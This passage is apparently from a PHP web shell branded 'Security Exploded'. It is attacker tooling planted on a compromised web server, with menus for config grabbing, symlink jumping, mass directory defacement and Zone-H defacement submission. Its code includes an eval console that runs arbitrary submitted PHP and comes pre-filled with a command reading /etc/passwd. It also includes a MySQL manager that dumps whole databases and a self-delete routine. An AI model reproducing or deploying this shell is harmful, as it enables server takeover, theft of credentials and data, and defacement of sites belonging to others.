591 $perms .= ($mode & 00004) ? 'r' : '-';
592 $perms .= ($mode & 00002) ? 'w' : '-';
593 $perms .= ($mode & 00001) ? 'x' : '-';
594 return $perms;
595 }
596 else return "??????????";
597}
598
599function clearspace($text){
600 return str_replace(" ","_",$text);
601}
602
603
604?>
605<html><head><link rel="SHORTCUT ICON" href="http://oi58.tinypic.com/10r33mq.jpg"><title><?=$title ?> <?=$versi ?></title>
606<script type="text/javascript">
607function tukar(lama,baru){
608 document.getElementById(lama).style.display = 'none';
609 document.getElementById(baru).style.display = 'block';
610}
611</script><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1048.cur), progress !important;}</style>
612<style type="text/css">
613body { background-color:transparan;background:#000;background-image: url("<?=$background; ?>");background-position: center; background-attachment: fixed;background-repeat: no-repeat; }
614a {text-decoration:none;
615}
616a:hover{
617border-bottom:1px solid #00ff00;
618}
619*{
620 font-size:11px;
621 font-family:Tahoma,Verdana,Arial;
622 color:<?=$color; ?>;
623}
624#menu{
625 background-color:transparan;
626 margin:8px 2px 4px 2px;
627}
628
629#menu a{
630 padding:4px 18px;
631 margin:0;
632 background:#222222;
633 text-decoration:none;
634 letter-spacing:2px;
635 -moz-border-radius: 5px; -moz-box-shadow-webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
636}
637#menu a:hover{
638 background:#191919;
639 border-bottom:1px solid #333333;
640 border-top:1px solid #333333;
641}
642
643.tabnet{
644 margin:15px auto 0 auto;
645 border: 1px solid #333333;
646 color: #FFCC00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;}
647.msupiani{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
648.tabnet{
649 margin:15px auto 0 auto;
650 border: 1px solid #333333; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
651}
652.main {
653 width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
654}
655.gaya {
656 color: $color;
657}
658.inputz{
659 background:#111111;
660 border:0;
661 padding:2px;
662 border-bottom:1px solid #222222;
663 border-top:1px solid #222222; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
664}
665.inputzbut{
666 background:#111111;
667 color:<?=$color; ?>;
668 margin:0 4px;
669 border:1px solid #444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
670
671}
672.inputz:hover, .inputzbut:hover{
673 border-bottom:1px solid #00ff00;
674 border-top:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
675}
676.output {
677 margin:auto;
678 border:1px solid <?=$color; ?>;
679 width:100%;
680 height:400px;
681 background:#000000;
682 padding:0 2px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
683}
684.cmdbox{
685 width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
686}
687.head_info{
688 padding: 0 4px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
689}
690.exploded{
691 font-size:30px;
692 padding:0;
693 color:#444444; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
694}
695.exploded_tbl{
696 text-align:center;
697 margin:0 4px 0 0;
698 padding:0 4px 0 0;
699 border-right:1px solid #333333;
700}
701.phpinfo table{
702 width:100%;
703 padding:0 0 0 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
704}
705.phpinfo td{
706 background:#111111;
707 color:#cccccc;
708padding:6px 8px;; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
709}
710.phpinfo th, th{
711 background:#191919;
712 border-bottom:1px solid #333333;
713font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
714}
715.phpinfo h2, .phpinfo h2 a{
716 text-align:center;
717 font-size:16px;
718 padding:0;
719 margin:30px 0 0 0;
720 background:#222222;
721 padding:4px 0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
722}
723.explore{
724width:100%; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
725}
726.explore a {
727text-decoration:none;
728}
729.explore td{
730border-bottom:1px solid #333333;
731padding:0 8px;
732line-height:24px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
733}
734.explore th{
735padding:3px 8px;
736font-weight:normal; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
737}
738.explore th:hover , .phpinfo th:hover{
739border-bottom:1px solid #00ff00; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
740}
741.explore tr:hover{
742background:#111111; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
743}
744.viewfile{
745background:#EDECEB;
746color:#000000;
747margin:4px 2px;
748padding:8px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
749}
750.sembunyi{
751display:none;
752padding:0;margin:0; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ;
753}
754.jaya{ margin:5px; text-align:right; <?=$color; ?>;}
755.footer{ background:#111111; width:99%; padding:5px; margin:10px auto 5px; text-align:center; font-size:13px; -moz-border-radius: 5px; -moz-box-shadow:0px 0px 10px <?=$color; ?>; -webkit-box-shadow:0px 0px 5px ; }
756.footer a{ font-size:14px; }
757.footer span{ font-size:14px;}
758</style></head>
759
760<body onLoad="document.getElementById('cmd').focus();">
761<!-- logout start here -->
762<div id="menu"><span style='float:right;'><br>
763<?="Time On Server : <b> ".date("d M Y H:i:s",time())."</b>"; ?> <br><br>        
764<a href="?<?="y=".$pwd; ?>&x=kill" title='Remove Shell'>Remove</a>
765 |
766<a href="?<?="y=".$pwd; ?>&x=logout" title='Logout'>Logout</a>       <br><br>
767                          <a href="?<?="y=".$pwd; ?>&x=about" title='About Author'>About</a>
768</span></div>
769<!-- logout end here -->
770<div class="main">
771<!-- head info start here -->
772<div class="head_info">
773<table><tr>
774<td><table class="inputz"><tr><td><a href="" target="blank" onClick="location.reload();"><span class="F0ku5"><img src='<?=$logo; ?>' title="Security Exploded" width="150" height="150"></span></span></a></td></tr><tr><td>
775<a href="http://twitter.com/Port22_Exploded" class="twitter-follow-button" data-show-count="false"> Follow @Port22_Exploded</a>
776<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'http';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script></td></tr></table></td>
777<td><?=$buff; ?></td>
778</tr></table></div>
779<!-- head info end here -->
780<!-- menu start --><br>
781<center><div id="menu">
782<a href="?"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34" title='Home '></a>
783<a href="?<?="y=".$pwd; ?>" title='File Explorer'>Files</a>
784<a href="?<?="y=".$pwd; ?>&x=upload" title='Upload File'>Uploader</a>
785<a href="?<?="y=".$pwd; ?>&x=sql" title='Connect To Database'>MySQL Manager</a><br><br>
786<a href="?<?="y=".$pwd; ?>&x=jumping" title='Jumping'>Jumper</a>
787<a href="?<?="y=".$pwd; ?>&x=symlink" title='Symlink'>Multi Symlinker</a>
788<a href="?<?="y=".$pwd; ?>&x=grabc" title='Config Grabber'>Config Grabber</a><br><br>
789<a href="?<?="y=".$pwd; ?>&x=mass" title='Deface To All Folder'>Mass Directory Defacer</a>
790<a href="?<?="y=".$pwd; ?>&x=zone" title='Submit Victim To Zone-H'>Zone-H Submiter</a>
791</div></center><br>
792<!-- menu end -->
793<?php
794@ini_set('display_errors', 0);
795@ini_set('output_buffering',0);
796
797if(isset($_GET['x']) && ($_GET['x'] == 'kill')) {
798
799 echo "
800<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
801
802 <tr>
803 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
804 <center><b><font size=5 style=italic color=#00ff00>Shell Killer</font></b></center></td></tr></table>
805";
806
807echo '<center><br><font style="color:<?=$color; ?>">Do You Really Want To Delete This Shell ?</b></center><br>';
808?>
809<center>
810<div id="menu">
811<a href="?<?="y=".$pwd;?>&x=killit" title='Remove Shell' >Yes, I Want</font></a>
812<a href="<?=$_SERVER['PHP_SELF']; ?>">Cancel</a></b></center><br><br>
813</div>
814<?php
815}
816if(isset($_GET['x']) && ($_GET['x'] == 'killit')) {
817$file = $_SERVER['PHP_SELF'];
818if(@unlink(preg_replace('!(d+)s.*!', '', __FILE__)))
819die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell Has Been Killed... Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
820else
821echo '<font color="#fff600" size="2pt">Unlink Error !</font>';
822
823}
824/////////////////////////////
825elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
826{
827@ini_set('output_buffering',0);
828echo "
829<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
830
831 <tr>
832 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
833 <center><b><font size=5 style=italic color=#00ff00>Eval</font></b></center></td></tr></table>
834";
835 ?>
836
837<form action="?y=<?=$pwd; ?>&x=php" method="post">
838<table class="tabnet" style="width:800px;height:300px">
839<tr><td>
840<textarea class="output" name="cmd" id="cmd">
841<?php
842if(isset($_POST['submitcmd'])) {
843 echo eval(magicboom($_POST['cmd']));
844}
845else echo "echo file_get_contents('/etc/passwd');";
846?>
847</textarea>
848<tr><td><input style="width:800px;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
849</table>
850</form>
851
852<?php }
853
854/////////////////////////////
855///////////////////////////////////////////////////////////////////////////////
856elseif(isset($_GET['x']) && ($_GET['x'] == 'sql')){
857 echo "
858<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>
859
860 <tr>
861 <td valign=top bgcolor=#151515 class=style2 style=width: 139px>
862 <center><b><font size=5 style=italic color=#00ff00>MySQL Manager</font></b></center></td></tr></table>
863";
864function view_size($size) {
865 if (!is_numeric($size)) { return FALSE; }
866 else {
867if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
868elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
869elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
870else {$size = $size . " B";}
871return $size;
872 }
873}
874function mysql_dump($set) {
875 $sock = $set["sock"];
876 $db = $set["db"];
877 $print = $set["print"];
878 $nl2br = $set["nl2br"];
879 $file = $set["file"];
880 $add_drop = $set["add_drop"];
881 $tabs = $set["tabs"];
882 $onlytabs = $set["onlytabs"];
883 $ret = array();
884 $ret["err"] = array();
885 if (!is_resource($sock)) {echo("Error: $sock is not valid resource.");}
886 if (empty($db)) {$db = "db";}
887 if (empty($print)) {$print = 0;}
888 if (empty($nl2br)) {$nl2br = 0;}
889 if (empty($add_drop)) {$add_drop = TRUE;}
890 if (empty($file)) {
891$file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
892 }
893 if (!is_array($tabs)) {$tabs = array();}
894 if (empty($add_drop)) {$add_drop = TRUE;}
895 if (sizeof($tabs) == 0) {
896$res = mysql_query("SHOW TABLES FROM ".$db, $sock);
897if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
898 }
899 $out = "
900 # Dumped By ".$xName."
901 # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
902 # Date: ".date("d.m.Y H:i:s")."
903 # DB: "".$db.""
904 #---------------------------------------------------------";
905 $c = count($onlytabs);
906 foreach($tabs as $tab) {
907if ((in_array($tab,$onlytabs)) or (!$c)) {
908 if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;n";}
909 $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
910 if (!$res) {$ret["err"][] = mysql_smarterror();}
911 else {
912$row = mysql_fetch_row($res);
913$out .= $row["1"].";nn";
914$res = mysql_query("SELECT * FROM `$tab`", $sock);
915if (mysql_num_rows($res) > 0) {
916 while ($row = mysql_fetch_assoc($res)) {
917$keys = implode("`, `", array_keys($row));
918$values = array_values($row);
919foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
920$values = implode("', '", $values);
921$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');n";
922$out .= $sql;
923 }
924}
925 }
926}
927 }
928 $out .= "#---------------------------------------------------------------------------------nn";
929 if ($file) {
930$fp = fopen($file, "w");
931if (!$fp) {$ret["err"][] = 2;}
932else {
933 fwrite ($fp, $out);
934 fclose ($fp);
935}
936 }
937 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
938 return $out;
939}
940function mysql_buildwhere($array,$sep=" and",$functs=array()) {
941 if (!is_array($array)) {$array = array();}
942 $result = "";
943 foreach($array as $k=>$v) {
944$value = "";
945if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
946$value .= "'".addslashes($v)."'";
947if (!empty($functs[$k])) {$value .= ")";}
948$result .= "`".$k."` = ".$value.$sep;
949 }
950 $result = substr($result,0,strlen($result)-strlen($sep));
951 return $result;
952}
953function mysql_fetch_all($query,$sock) {
954 if ($sock) {$result = mysql_query($query,$sock);}
955 else {$result = mysql_query($query);}
956 $array = array();
957 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
958 mysql_free_result($result);
959 return $array;
960}
961function mysql_smarterror($sock) {
962 if ($sock) { $error = mysql_error($sock); }
963 else { $error = mysql_error(); }
964 $error = htmlspecialchars($error);
965 return $error;
966}
967function mysql_query_form() {
968 global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
969 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
970 if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
971 if ((!$submit) or ($sql_x)) {
972echo "<table><tr><td><form name="fx29sh_sqlquery" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value="".htmlspecialchars($sql_tbl).""><input type=hidden name=submit value="1"><input type=hidden name="sql_goto" value="".htmlspecialchars($sql_goto).""><input type=submit name=sql_confirm value="Yes"> <input type=submit value="No"></form></td>";
973if ($tbl_struct) {
974 echo "<td valign="top"><b>Fields:</b><br>";
975 foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href="#" onclick="document.fx29sh_sqlquery.sql_query.value+='`".$name."`';"><b>".$name."</b></a><br>";}
976 echo "</td></tr></table>";
977}
978 }
979 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
980}
981function mysql_create_db($db,$sock="") {
982 $sql = "CREATE DATABASE `".addslashes($db)."`;";
983 if ($sock) {return mysql_query($sql,$sock);}
984 else {return mysql_query($sql);}
985}
986function mysql_query_parse($query) {
987 $query = trim($query);
988 $arr = explode (" ",$query);
989 $types = array(
990"SELECT"=>array(3,1),
991"SHOW"=>array(2,1),
992"DELETE"=>array(1),
993"DROP"=>array(1)
994 );
995 $result = array();
996 $op = strtoupper($arr[0]);
997 if (is_array($types[$op])) {
998$result["propertions"] = $types[$op];
999$result["query"] = $query;
1000if ($types[$op] == 2) {
1001 foreach($arr as $k=>$v) {
1002if (strtoupper($v) == "LIMIT") {
1003 $result["limit"] = $arr[$k+1];
1004 $result["limit"] = explode(",",$result["limit"]);
1005 if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
1006 unset($arr[$k],$arr[$k+1]);
1007}
1008 }
1009}
1010 }
1011 else { return FALSE; }
1012}
1013function disp_error($msg) { echo "<div class=errmsg>$msg</div>n"; }
1014function html_style() {
1015$style = ' <style type="text/css"> a { text-decoration:none; } a:hover { color: #00ff00; border-bottom:1px solid #00ff00; } input[type="text"], input[type="password"], select{ background:#111111; border:0; padding:2px; border:1px solid #444444; } input[type="submit"]{ background:#111111; color:#ffffff; margin:0 4px; border:1px solid #444444;} input[type="text"]:hover, input[type="submit"]:hover, input[type="password"]:hover, select:hover{ border-bottom:1px solid #00ff00;border-top:1px solid #00ff00;} .tab { width:100%; } th{ background:#191919; border-bottom:1px solid #333333; font-weight:normal; } .tub { width:100%; } .tub th{ border-bottom:1px solid #00ff00; padding:3px;} .tub tr:hover{ background:#006400; } .tub td{ border-bottom:1px solid #333333; padding-left:3px; } #maininfo { padding:5px; margin-top:10px; margin-left:2px; margin-right:2px; background:#191919; } #maininfo a{ color:#00ff00; } textarea { background:#000000; border:1px solid #444444;} textarea:hover { border:1px solid #00ff00;} </style><center>';
1016return $style;
1017}
1018$auto_surl = TRUE;
1019foreach ($_REQUEST as $k => $v) {
1020 if (!isset($$k)) { $$k = $v; }
1021}
1022if ($auto_surl) {
1023 $include = "&";
1024 foreach (explode("&",getenv("QUERY_STRING")) as $v) {
1025$v= explode("=",$v);
1026$name= urldecode($v[0]);
1027$value= @urldecode($v[1]);
1028$needles = array("http://","https://","ssl://","ftp://","\\");
1029foreach ($needles as $needle) {
1030 if (strpos($value,$needle) === 0) {
1031$includestr .= urlencode($name)."=".urlencode($value)."&";
1032 } } } }
1033if (empty($surl)) { $surl = htmlspecialchars("?".@$includestr); }
1034if (!isset($x)) { $x = "sql"; }
1035 if ($x == "sql") {
1036 foreach (array("sort","sql_sort") as $v) {
1037if (!empty($_GET[$v])) { $$v = $_GET[$v]; }
1038if (!empty($_POST[$v])) { $$v = $_POST[$v]; }
1039 }
1040 if ($sort_save) {
1041if (!empty($sort)) { setcookie("sort",$sort); }
1042if (!empty($sql_sort)) { setcookie("sql_sort",$sql_sort); }
1043 }
1044 if (!isset($sort)) { $sort = $sort_default; }
1045 $sort = htmlspecialchars($sort);
1046 $sort[1] = strtolower($sort[1]);
1047 echo html_style();
1048echo "<div id='maininfo'>";
1049 if ($x == "sql") {
1050 $sql_surl = $surl."x=sql";
1051 if (!isset($sql_login)) { $sql_login = ""; }
1052 if (!isset($sql_passwd)) { $sql_passwd = ""; }
1053 if (!isset($sql_server)) { $sql_server = ""; }
1054 if (!isset($sql_port)) { $sql_port = ""; }
1055 if (!isset($sql_tbl)) { $sql_tbl = ""; }
1056 if (!isset($sql_x)) { $sql_x = ""; }
1057 if (!isset($sql_tbl_x)) { $sql_tbl_x = ""; }
1058 if (!isset($sql_order)) { $sql_order = ""; }
1059 if (!isset($sql_x)) { $sql_x = ""; }
1060 if (!isset($sql_getfile)) { $sql_getfile = ""; }
1061 if (@$sql_login) { $sql_surl .= "&sql_login=".htmlspecialchars($sql_login); }
1062 if (@$sql_passwd) { $sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd); }
1063 if (@$sql_server) { $sql_surl .= "&sql_server=".htmlspecialchars($sql_server); }
1064 if (@$sql_port){ $sql_surl .= "&sql_port=".htmlspecialchars($sql_port); }
1065 if (@$sql_db) { $sql_surl .= "&sql_db=".htmlspecialchars($sql_db); }
1066 $sql_surl .= "&";
1067 echo "";
1068 if (@$sql_server) {
1069$sql_sock = @mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
1070$err = mysql_smarterror($sql_sock);
1071@mysql_select_db($sql_db,$sql_sock);
1072if (@$sql_query and $submit) {
1073 $sql_query_result = mysql_query($sql_query,$sql_sock);
1074 $sql_query_error = mysql_smarterror($sql_sock);
1075}
1076 }
1077 else { $sql_sock = FALSE; }
1078 if (!$sql_sock) {
1079if (!@$sql_server) { echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>"; }
1080else { disp_error("ERROR: ".$err); }
1081 }
1082 else {
1083#SQL Quicklaunch
1084$sqlquicklaunch= array();
1085$sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
1086$sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
1087$sqlquicklaunch[] = array("Server status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
1088$sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
1089$sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
1090$sqlquicklaunch[] = array("Logout",$surl."x=sql");
1091echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") Server: ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - "".htmlspecialchars($sql_passwd)."")<br>";
1092if (count($sqlquicklaunch) > 0) {
1093 foreach($sqlquicklaunch as $item) {
1094echo "[ <a href="".$item[1]."">".$item[0]."</a> ] ";
1095 }
1096 }
1097 }
1098echo "</div>";
1099echo "<center><table class='tab'><tr>";
1100 if (!$sql_sock) {
1101 echo '<td>
1102<form name="f_sql" action="'.$surl.'x=sql" method="POST">
1103<input type="hidden" name="x" value="sql">
1104<table class="tabnet" style="padding:1px;">
1105<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
1106<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
1107<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
1108<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
1109<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
1110<tr><td>Port</td><td><input type="text" name="sql_port" class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
1111</table>
1112</form>';
1113 }
1114 else {
1115 echo '<td valign="top" style="border:1px solid #333333;">
1116<center>
1117<a href="'.$sql_surl.'"><b style="color:#00ff00;">HOME</b></a>
1118<hr size="1" noshade>';
1119 $result = mysql_list_dbs($sql_sock);
1120 if (!$result) { echo mysql_smarterror(); }
1121 else {
1122 echo '<form action="'.$surl.'x=sql">
1123<input type="hidden" name="x" value="sql">
1124<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1125<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1126<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1127<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1128<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
1129$c = 0;
1130$dbs = "";
1131while ($row = mysql_fetch_row($result)) {
1132 $dbs .= "tt<option value="".$row[0].""";
1133 if (@$sql_db == $row[0]) { $dbs .= " selected"; }
1134 $dbs .= ">".$row[0]."</option>n";
1135 $c++;
1136}
1137echo "tt<option value="">Databases (".$c.")</option>n";
1138echo $dbs;
1139 }
1140echo '</select>
1141<hr size="1" noshade>
1142</form>
1143</center>';
1144if (isset($sql_db)) {
1145 $result = mysql_list_tables($sql_db);
1146 if (!$result) {
1147$result = mysql_list_dbs($sql_sock);
1148$num = mysql_num_rows($result);
1149for( $i = 0; $i < $num; $i++ ) {
1150$dbname = mysql_dbname( $result, $i );
1151echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href="".$sql_surl."sql_db=".$dbname."">$dbname</a></b></td></table>"; } }
1152 else {
1153echo "t<table class='tub'><th><a href="".$sql_surl."&"><b>".htmlspecialchars($sql_db)."</b></a></th></table><br>n";
1154$c = 0;
1155while ($row = mysql_fetch_array($result)) {
1156 $count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
1157 $count_row = mysql_fetch_array($count);
1158 echo "t<b>+ <a style='color:#00ff00;' href="".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."">".htmlspecialchars($row[0])."</a></b> (".$count_row[0].")</br></b>n";
1159 mysql_free_result($count);
1160 $c++;
1161}
1162if (!$c) { echo "No tables found in database"; }
1163 }
1164}
1165echo '</td>';
1166echo '<td style="border:1px solid #333333;">';
1167$diplay = TRUE;
1168if (@$sql_db) {
1169 if (!is_numeric($c)) { $c = 0; }
1170 if ($c == 0) { $c = "no"; }
1171 echo "t<center><b>There are ".$c." table(s) in database: ".htmlspecialchars($sql_db)."";
1172 if (count(@$dbquicklaunch) > 0) {
1173foreach($dbsqlquicklaunch as $item) {
1174 echo "[ <a href="".$item[1]."">".$item[0]."</a> ] ";
1175}
1176 }
1177 echo "</b></center>n";
1178 $xs = array("","dump");
1179 if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1180 elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` n";} $sql_x = "query";}
1181 elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
1182 elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1183 elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
1184 elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
